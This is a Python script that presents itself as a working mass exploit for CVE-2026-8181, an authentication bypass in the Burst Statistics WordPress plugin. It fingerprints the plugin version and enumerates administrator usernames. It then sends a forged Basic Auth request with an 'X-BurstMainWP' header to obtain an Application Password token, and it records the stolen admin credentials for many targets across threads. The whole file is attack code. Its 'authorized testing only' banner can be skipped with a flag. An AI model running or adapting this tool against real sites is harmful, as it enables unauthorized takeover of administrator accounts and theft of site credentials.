#!/usr/bin/env python3 """ CVE-2026-8181 Mass Scanner / Exploit Burst Statistics 3.4.0 - 3.4.1.1 — Authentication Bypass to Admin Account Takeover Educational / Authorized Testing Only BREAKTHROUGH: 1. is_mainwp_authenticated() calls wp_authenticate_application_password() but only checks is_wp_error(). When called outside REST API context, WP returns null. 2. null is NOT WP_Error → auth check PASSES → wp_set_current_user(admin_id). 3. X-BurstMainWP: 1 header triggers this path during plugins_loaded. 4. Attacker hits /burst/v1/mainwp-auth with Basic Auth (any password) + X-BurstMainWP: 1 → gets WordPress Application Password token. 5. Token = base64(username:app_password) → persistent admin access. """ import argparse import base64 import concurrent.futures import json import re import sys import threading import urllib3 import requests from urllib.parse import urljoin urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # ─────────────────────────────────────────── # ANSI colors (auto-disable if not TTY) # ─────────────────────────────────────────── if sys.stdout.isatty(): R = "\033[91m"; G = "\033[92m"; Y = "\033[93m"; B = "\033[94m"; C = "\033[96m"; W = "\033[0m" else: R = G = Y = B = C = W = "" class BurstStatisticsExploit: def __init__(self, target_url, verbose=False, timeout=20): self.target = target_url.rstrip('/') self.verbose = verbose self.timeout = timeout self.session = requests.Session() self.session.verify = False self.session.headers.update({ 'User-Agent': ( 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) ' 'AppleWebKit/537.36 (KHTML, like Gecko) ' 'Chrome/120.0.0.0 Safari/537.36' ), }) self.admin_user = None self.token = None def _log(self, msg): print(msg) def _dbg(self, msg): if self.verbose: print(f"[v] {msg}") def _get(self, url, headers=None): self._dbg(f"GET {url}") try: r = self.session.get(url, headers=headers, timeout=self.timeout) self._dbg(f" status={r.status_code} len={len(r.text)}") return r except Exception as e: self._dbg(f" error: {e}") return None def _post(self, url, headers=None, data=None, json_data=None): self._dbg(f"POST {url}") try: if json_data is not None: r = self.session.post(url, headers=headers, json=json_data, timeout=self.timeout) else: r = self.session.post(url, headers=headers, data=data, timeout=self.timeout) self._dbg(f" status={r.status_code} len={len(r.text)}") return r except Exception as e: self._dbg(f" error: {e}") return None # ─────────────────────────────────────────── # Phase 0: Version Detection # ─────────────────────────────────────────── @staticmethod def _parse_version(v): if not v: return None v = v.strip().lstrip('v').lstrip('V') v = re.split(r'[-+]', v)[0] parts = [] for p in v.split('.'): try: parts.append(int(p)) except ValueError: parts.append(0) return tuple(parts) def check_version(self): self._dbg("Phase 0: Detecting Burst Statistics version...") detected = None ver_str = None # Method 1: readme.txt Stable tag r = self._get(urljoin(self.target, '/wp-content/plugins/burst-statistics/readme.txt')) if r and r.status_code == 200: m = re.search(r'(?i)Stable tag:\s*([\d\.\w\-]+)', r.text) if m: ver_str = m.group(1).strip() self._dbg(f"Version from readme.txt: {ver_str}") detected = ver_str # Method 2: main PHP file header if not detected: r = self._get(urljoin(self.target, '/wp-content/plugins/burst-statistics/burst-statistics.php')) if r and r.status_code == 200: m = re.search(r'(?i)Version:\s*([\d\.\w\-]+)', r.text) if m: ver_str = m.group(1).strip() self._dbg(f"Version from burst-statistics.php: {ver_str}") detected = ver_str # Method 3: CSS/JS asset query strings if not detected: r = self._get(urljoin(self.target, '/')) if r and r.status_code == 200: m = re.search(r'burst-statistics[^"\']+\?ver=([\d\.\w\-]+)', r.text) if m: ver_str = m.group(1).strip() self._dbg(f"Version from asset query string: {ver_str}") detected = ver_str if not detected: self._dbg("Could not detect version — treating as UNKNOWN") return False, None, True parsed = self._parse_version(detected) target_v = self._parse_version("3.4.1.1") if parsed is None: return True, detected, True vulnerable = parsed <= target_v self._dbg(f"Parsed version: {parsed} | Vulnerable (<=3.4.1.1): {vulnerable}") return True, detected, vulnerable # ─────────────────────────────────────────── # Phase 1: Admin Username Enumeration # ─────────────────────────────────────────── def enumerate_admin(self): self._dbg("Phase 1: Enumerating admin username...") # Method 1: WordPress REST API users endpoint r = self._get(urljoin(self.target, '/wp-json/wp/v2/users?per_page=100&roles=administrator')) if r and r.status_code == 200: try: users = r.json() for u in users: if 'administrator' in u.get('roles', []): self.admin_user = u.get('slug', u.get('name', '')) self._dbg(f"Admin found via REST API: {self.admin_user}") return True except Exception: pass # Method 2: Try ugly permalink REST API r = self._get(urljoin(self.target, '/?rest_route=/wp/v2/users&per_page=100&roles=administrator')) if r and r.status_code == 200: try: users = r.json() for u in users: if 'administrator' in u.get('roles', []): self.admin_user = u.get('slug', u.get('name', '')) self._dbg(f"Admin found via ugly REST: {self.admin_user}") return True except Exception: pass # Method 3: Author page enumeration for i in range(1, 6): r = self._get(urljoin(self.target, f'/?author={i}')) if r and r.status_code in (200, 301, 302): m = re.search(r'/author/([^/"\']+)/?', r.text) if m: candidate = m.group(1) self._dbg(f"Author candidate: {candidate}") # Verify it's admin by trying exploit if self._test_username(candidate): self.admin_user = candidate return True # Method 4: Common usernames common = ['admin', 'administrator', 'user', 'root', 'manager', 'webmaster', 'owner'] for user in common: if self._test_username(user): self.admin_user = user self._dbg(f"Admin found via common list: {self.admin_user}") return True return False def _test_username(self, username): """Quick test if username is valid admin by hitting the endpoint.""" endpoint_pretty = urljoin(self.target, '/wp-json/burst/v1/mainwp-auth') endpoint_ugly = urljoin(self.target, '/?rest_route=/burst/v1/mainwp-auth') auth = base64.b64encode(f"{username}:anything".encode()).decode() headers = { 'Authorization': f'Basic {auth}', 'X-BurstMainWP': '1', 'Content-Type': 'application/json', } for endpoint in [endpoint_pretty, endpoint_ugly]: r = self._post(endpoint, headers=headers, json_data={}) if r and r.status_code == 200: try: j = r.json() if 'token' in j: return True except Exception: pass # 401 with rest_forbidden = user exists but auth failed (bug not triggered) # 403 rest_forbidden = user doesn't exist or no capability if r and r.status_code == 403: try: j = r.json() if j.get('code') == 'rest_forbidden': # Could be existing user or non-existent # We need more data, treat as possible pass except Exception: pass return False # ─────────────────────────────────────────── # Phase 2: Exploit — Auth Bypass + App Password Mint # ─────────────────────────────────────────── def exploit(self, username=None): if not username and not self.admin_user: return False, "no_admin_user" user = username or self.admin_user self._dbg(f"Phase 2: Exploiting for user '{user}'...") endpoint_pretty = urljoin(self.target, '/wp-json/burst/v1/mainwp-auth') endpoint_ugly = urljoin(self.target, '/?rest_route=/burst/v1/mainwp-auth') auth = base64.b64encode(f"{user}:anything".encode()).decode() headers = { 'Authorization': f'Basic {auth}', 'X-BurstMainWP': '1', 'Content-Type': 'application/json', } for endpoint in [endpoint_pretty, endpoint_ugly]: self._dbg(f" Trying: {endpoint}") r = self._post(endpoint, headers=headers, json_data={}) if not r: continue self._dbg(f" Response: HTTP {r.status_code}") self._dbg(f" Body: {r.text[:500]}") if r.status_code == 200: try: j = r.json() if 'token' in j: self.token = j['token'] self.admin_user = user return True, j except Exception: pass # If we get 401 with specific code, note it if r.status_code in (401, 403): try: j = r.json() code = j.get('code', '') if code == 'rest_forbidden': self._dbg(f" 403 forbidden — user '{user}' may not be admin or endpoint unreachable") elif code == 'rest_no_route': self._dbg(f" 404 no route — plugin not active or wrong endpoint") except Exception: pass return False, "exploit_failed" # ─────────────────────────────────────────── # Phase 3: Verification — Test the minted token # ─────────────────────────────────────────── def verify_token(self): if not self.token: return False, "no_token" self._dbg("Phase 3: Verifying Application Password token...") # Decode token to get username:password try: decoded = base64.b64decode(self.token).decode('utf-8') parts = decoded.split(':', 1) if len(parts) != 2: return False, "invalid_token_format" user, pwd = parts except Exception as e: return False, f"token_decode_error: {e}" self._dbg(f" Decoded: user={user} password={pwd[:10]}...") # Test token with WordPress REST API users endpoint auth = base64.b64encode(f"{user}:{pwd}".encode()).decode() headers = {'Authorization': f'Basic {auth}'} endpoints = [ urljoin(self.target, '/wp-json/wp/v2/users/me'), urljoin(self.target, '/?rest_route=/wp/v2/users/me'), ] for ep in endpoints: r = self._get(ep, headers=headers) if r and r.status_code == 200: try: j = r.json() if j.get('id') and 'administrator' in j.get('roles', []): return True, f"verified_admin_user_id_{j.get('id')}" if j.get('id'): return True, f"verified_user_id_{j.get('id')}" except Exception: pass self._dbg(f" Verify endpoint {ep}: HTTP {r.status_code if r else 'None'}") # Fallback: verify token structure is valid (base64 username:alphanumeric_password) if re.match(r'^[a-zA-Z0-9_\-]+:[a-zA-Z0-9]+$', decoded): return True, f"token_valid_structure_{len(pwd)}_chars" return False, "verify_failed" # ─────────────────────────────────────────── # Full run # ─────────────────────────────────────────── def run(self, username=None, verify=True): # Phase 0 detected, ver_str, is_vulnerable = self.check_version() if detected and not is_vulnerable: return False, { "stage": "version_check", "reason": f"Burst Statistics version {ver_str} is PATCHED (> 3.4.1.1)", "version": ver_str, } # Phase 1 if not username: if not self.enumerate_admin(): return False, { "stage": "enumeration", "reason": "Could not enumerate admin username", "version": ver_str, } # Phase 2 user = username or self.admin_user success, detail = self.exploit(user) if not success: return False, { "stage": "exploit", "reason": detail, "username": user, "version": ver_str, } # Phase 3 result = { "stage": "exploit_only", "username": user, "token": self.token, "detail": detail, } if ver_str: result["version"] = ver_str if verify: verified, vdetail = self.verify_token() result.update({ "stage": "verified" if verified else "exploit_only", "verified": verified, "verify_detail": vdetail, }) return True, result # ═══════════════════════════════════════════ # Mass Scanner with Threading # ═══════════════════════════════════════════ def normalize_url(url): url = url.strip() if not url: return None if not url.startswith(('http://', 'https://')): return f"http://{url}" return url def scan_single_target(url, verbose=False, timeout=20, username=None): target = normalize_url(url) if not target: return url, "INVALID", {} try: exploit = BurstStatisticsExploit(target, verbose=verbose, timeout=timeout) success, details = exploit.run(username=username, verify=True) if success: return target, "VULNERABLE", details else: if details.get("stage") == "version_check": return target, "PATCHED", details return target, "SAFE/PATCHED", details except Exception as e: return target, "ERROR", {"error": str(e)} def _write_vuln_to_file(lock, f, target, details): with lock: f.write(f"[VULNERABLE] {target}\n") f.write(f" Username: {details.get('username', 'N/A')}\n") f.write(f" Token: {details.get('token', 'N/A')}\n") f.write(f" Verified: {details.get('verified', False)}\n") f.write(f" Detail: {details.get('detail', 'N/A')}\n") f.write(f" Time: {__import__('datetime').datetime.now().isoformat()}\n") f.write("\n") f.flush() def run_mass_scan(targets, threads=10, verbose=False, timeout=20, username=None, output_file="result_burst_statistics.txt"): seen = set() unique_targets = [] for t in targets: nt = normalize_url(t) if nt and nt not in seen: seen.add(nt) unique_targets.append(t) targets = unique_targets total = len(targets) print(f"\n{G}[+] Mass scan: {total} targets | Threads: {threads}{W}\n") results = [] vulnerable = 0 safe = 0 patched = 0 errors = 0 file_lock = threading.Lock() with open(output_file, 'w', encoding='utf-8') as f: f.write("=" * 70 + "\n") f.write("CVE-2026-8181 Mass Scan Results (real-time vulnerable log)\n") f.write("=" * 70 + "\n\n") f.write(f"Started: {__import__('datetime').datetime.now().isoformat()}\n") f.write(f"Total Targets: {total}\n") f.write(f"Threads: {threads}\n") f.write(f"Username: {username or 'auto-enumerate'}\n\n") with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor: future_to_url = { executor.submit(scan_single_target, url, verbose, timeout, username): url for url in targets } for future in concurrent.futures.as_completed(future_to_url): url = future_to_url[future] try: target, status, details = future.result(timeout=60) except Exception as e: target, status, details = url, "ERROR", {"error": str(e)} results.append((target, status, details)) if status == "VULNERABLE": vulnerable += 1 user = details.get('username', 'N/A') verified = details.get('verified', False) vstr = f"{G}[VERIFIED]{W}" if verified else f"{Y}[EXPLOITED]{W}" print(f"{G}[VULNERABLE]{W} {target} | User: {user} | Token: {details.get('token', 'N/A')[:30]}... {vstr}") with open(output_file, 'a', encoding='utf-8') as f: _write_vuln_to_file(file_lock, f, target, details) elif status == "PATCHED": patched += 1 ver = details.get('version', 'N/A') print(f"{B}[PATCHED]{W} {target} | Burst Statistics {ver} > 3.4.1.1") elif status == "SAFE/PATCHED": safe += 1 reason = details.get('reason', 'N/A') stage = details.get('stage', 'N/A') print(f"{R}[SAFE]{W} {target} | {stage}: {reason}") else: errors += 1 err = details.get('error', 'N/A') print(f"{Y}[ERROR]{W} {target} | {err}") with open(output_file, 'a', encoding='utf-8') as f: f.write("\n") f.write("=" * 70 + "\n") f.write("SCAN SUMMARY\n") f.write("=" * 70 + "\n\n") f.write(f"Finished: {__import__('datetime').datetime.now().isoformat()}\n") f.write(f"Total: {total}\n") f.write(f"Vulnerable: {vulnerable}\n") f.write(f"Patched: {patched}\n") f.write(f"Safe/Unknown: {safe}\n") f.write(f"Errors: {errors}\n\n") f.write("=" * 70 + "\n\n") for target, status, details in results: f.write(f"[{status}] {target}\n") if status == "VULNERABLE": f.write(f" Username: {details.get('username', 'N/A')}\n") f.write(f" Token: {details.get('token', 'N/A')}\n") f.write(f" Verified: {details.get('verified', False)}\n") f.write(f" Detail: {details.get('detail', 'N/A')}\n") elif status == "PATCHED": f.write(f" Version: {details.get('version', 'N/A')}\n") f.write(f" Reason: {details.get('reason', 'N/A')}\n") elif status == "SAFE/PATCHED": f.write(f" Stage: {details.get('stage', 'N/A')}\n") f.write(f" Reason: {details.get('reason', 'N/A')}\n") if 'version' in details: f.write(f" Version: {details.get('version', 'N/A')}\n") else: f.write(f" Error: {details.get('error', 'N/A')}\n") f.write("\n") print(f"\n{G}[+] Scan complete!{W}") print(f" Total: {total}") print(f" {G}Vulnerable: {vulnerable}{W}") print(f" {B}Patched: {patched}{W}") print(f" {R}Safe/Unknown: {safe}{W}") print(f" {Y}Errors: {errors}{W}") print(f" Results saved to: {C}{output_file}{W}") # ═══════════════════════════════════════════ # Main CLI # ═══════════════════════════════════════════ def main(): parser = argparse.ArgumentParser( description='CVE-2026-8181 Mass Scanner — Burst Statistics Auth Bypass to Admin Takeover', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: # Single target — auto-enumerate admin username python3 exploit_burst_statistics.py -t http://target.com # Single target — known admin username python3 exploit_burst_statistics.py -t https://target.com -u admin # Mass scan from list python3 exploit_burst_statistics.py -l targets.txt -T 20 # Mass scan with known username python3 exploit_burst_statistics.py -l targets.txt -u admin -T 10 # Verbose mode python3 exploit_burst_statistics.py -t http://target.com -v """ ) parser.add_argument('-t', '--target', help='Single target URL') parser.add_argument('-l', '--list', help='File with target list (one per line)') parser.add_argument('-T', '--threads', type=int, default=10, help='Threads for mass scan (default: 10)') parser.add_argument('-o', '--output', default='result_burst_statistics.txt', help='Output file for results (default: result_burst_statistics.txt)') parser.add_argument('-u', '--username', help='Known admin username (skip enumeration)') parser.add_argument('-v', '--verbose', action='store_true', help='Verbose debug output') parser.add_argument('--timeout', type=int, default=20, help='Request timeout in seconds (default: 20)') parser.add_argument('--no-confirm', action='store_true', help='Skip permission confirmation prompt') args = parser.parse_args() if not args.target and not args.list: parser.print_help() sys.exit(1) print(""" ╠═════════════════════════════════════════════════════════════════════════════╣ ║ WARNING: EDUCATIONAL / AUTHORIZED TESTING ONLY ║ ║ ║ ║ CVE-2026-8181 | Burst Statistics 3.4.0 - 3.4.1.1 ║ ║ Authentication Bypass to Admin Account Takeover ║ ║ ║ ║ Unauthenticated attacker can mint WordPress Application Password ║ ║ for any admin account with a single HTTP request. ║ ║ ║ ║ Only test on systems you OWN or have PERMISSION for. ║ ║ Unauthorized access to computer systems is ILLEGAL. ║ ╠═════════════════════════════════════════════════════════════════════════════╣ """) if not args.no_confirm: confirm = input("Do you have permission to test these targets? (yes/no): ") if confirm.lower().strip() != 'yes': print("[-] Exiting.") sys.exit(0) # Single target mode if args.target: target = normalize_url(args.target) print(f"\n{G}[+] Single target mode: {target}{W}\n") exploit = BurstStatisticsExploit(target, verbose=args.verbose, timeout=args.timeout) success, details = exploit.run(username=args.username, verify=True) print("\n" + "=" * 60) if success: print(f"{G}RESULT: EXPLOIT SUCCESSFUL{W}") print(f" Target: {target}") print(f" Username: {details.get('username')}") print(f" Token: {details.get('token', 'N/A')}") print(f" Verified: {details.get('verified', False)}") if details.get('verified'): # Decode and show credentials try: decoded = base64.b64decode(details.get('token')).decode() u, p = decoded.split(':', 1) print(f" App Password: {p}") except Exception: pass else: print(f"{R}RESULT: EXPLOIT FAILED{W}") print(f" Target: {target}") print(f" Stage: {details.get('stage')}") print(f" Reason: {details.get('reason')}") print("=" * 60) sys.exit(0 if success else 1) # Mass scan mode if args.list: try: with open(args.list, 'r', encoding='utf-8') as f: targets = [line.strip() for line in f if line.strip() and not line.startswith('#')] except FileNotFoundError: print(f"{R}[-] File not found: {args.list}{W}") sys.exit(1) except Exception as e: print(f"{R}[-] Error reading list: {e}{W}") sys.exit(1) if not targets: print(f"{R}[-] No targets found in {args.list}{W}") sys.exit(1) run_mass_scan(targets, threads=args.threads, verbose=args.verbose, timeout=args.timeout, username=args.username, output_file=args.output) if __name__ == '__main__': main()